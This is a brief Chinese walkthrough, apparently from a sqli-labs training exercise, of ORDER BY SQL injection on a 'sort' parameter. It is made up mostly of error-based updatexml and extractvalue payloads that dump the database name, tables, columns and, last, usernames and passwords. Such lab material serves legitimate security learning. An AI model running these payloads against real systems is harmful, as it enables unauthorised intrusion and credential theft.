1.看一下php
（1）用order by 注入来看看
（2）通过asc 和desc查看返回数据是否相同来简单判断是否存在order by注入
?sort=1+asc
?sort=1+desc
2.报错注入
（1）爆库：?sort=1 and(updatexml(1,concat(0x7e,(select database())),0))
（2）爆表：?sort=1 and(updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema="security" and table_name not in('emails','referers'))),0))
（3）爆列名：?sort=1 and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in('first_name','last_name','user_id','last_login','avatar','failed_login','user'))),0))
（4）爆值：?sort=1 and (extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))))
